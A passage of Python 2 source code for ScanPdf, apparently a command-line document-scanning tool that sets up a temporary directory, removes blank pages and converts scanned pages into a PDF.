            output_dir = time.strftime('%Y%m%d_%H%M%S', time.localtime())

        if argv['scan'] or argv['justscan']:
            self.tmp_dir = os.path.join(self.args['--tmpdir'], output_dir)
            self.tmp_dir = os.path.abspath(self.tmp_dir)
            if os.path.exists(self.tmp_dir):
                self._error("Temporary output directory %s already exists!" % self.tmp_dir)
            else:
                    os.makedirs(self.tmp_dir)
        elif argv['skipscan']:
            output_dir = argv['<scanfilesdir>']
            self.tmp_dir = os.path.abspath(output_dir)
            if not os.path.exists(self.tmp_dir):
                self._error("Scan files directory %s does not exist!" % self.tmp_dir)

        # Blank checks
        self.keep_blanks =  argv['--keep-blanks']
        self.blank_threshold = float(argv['--blank-threshold'])
        assert(self.blank_threshold >= 0 and self.blank_threshold <= 1.0)
        self.post_process = argv['--post-process']

    def go(self, argv):
        """
            The main entry point into ScanPdf

            #. Get the options
            #. Create the temp dir
            #. Run scanadf
        """
        # Read the command line options
        self.get_options(argv)
        logging.info("Temp dir: %s" % self.tmp_dir)
        if self.args['scan'] or self.args['justscan']:
            self.run_scan()

	if self.args['justscan']:
            return

        # Now, convert the files to ps
        pages = self.get_pages()
        logging.debug( pages )
        if self.args['--face-up']:
            pages = self.reorder_face_up(pages)

        logging.debug( pages )

        # Now, check if color or bw
        pages = self.convert_to_bw(pages)
        logging.debug(pages)

        # Run blanks
        if not self.keep_blanks:
            no_blank_pages = []
            for i,page in enumerate(pages):
                filename = os.path.join(self.tmp_dir, page)
                logging.info("Checking if %s is blank..." % filename)
                if not self.is_blank(filename):
                    no_blank_pages.append(page)
                else:
                    logging.info("  page %s is blank, removing..." % i)
                    os.remove(filename)
            pages = no_blank_pages

        logging.debug( pages )

        if self.post_process:
            pages = self.run_postprocess(pages)

        self.run_convert(pages)

def main():
    args = docopt.docopt(__doc__, version='Scan PDF %s' % __version__ )
    script = ScanPdf()
    print args
    script.go(args)

if __name__ == '__main__':
    main()

<|endoftext|>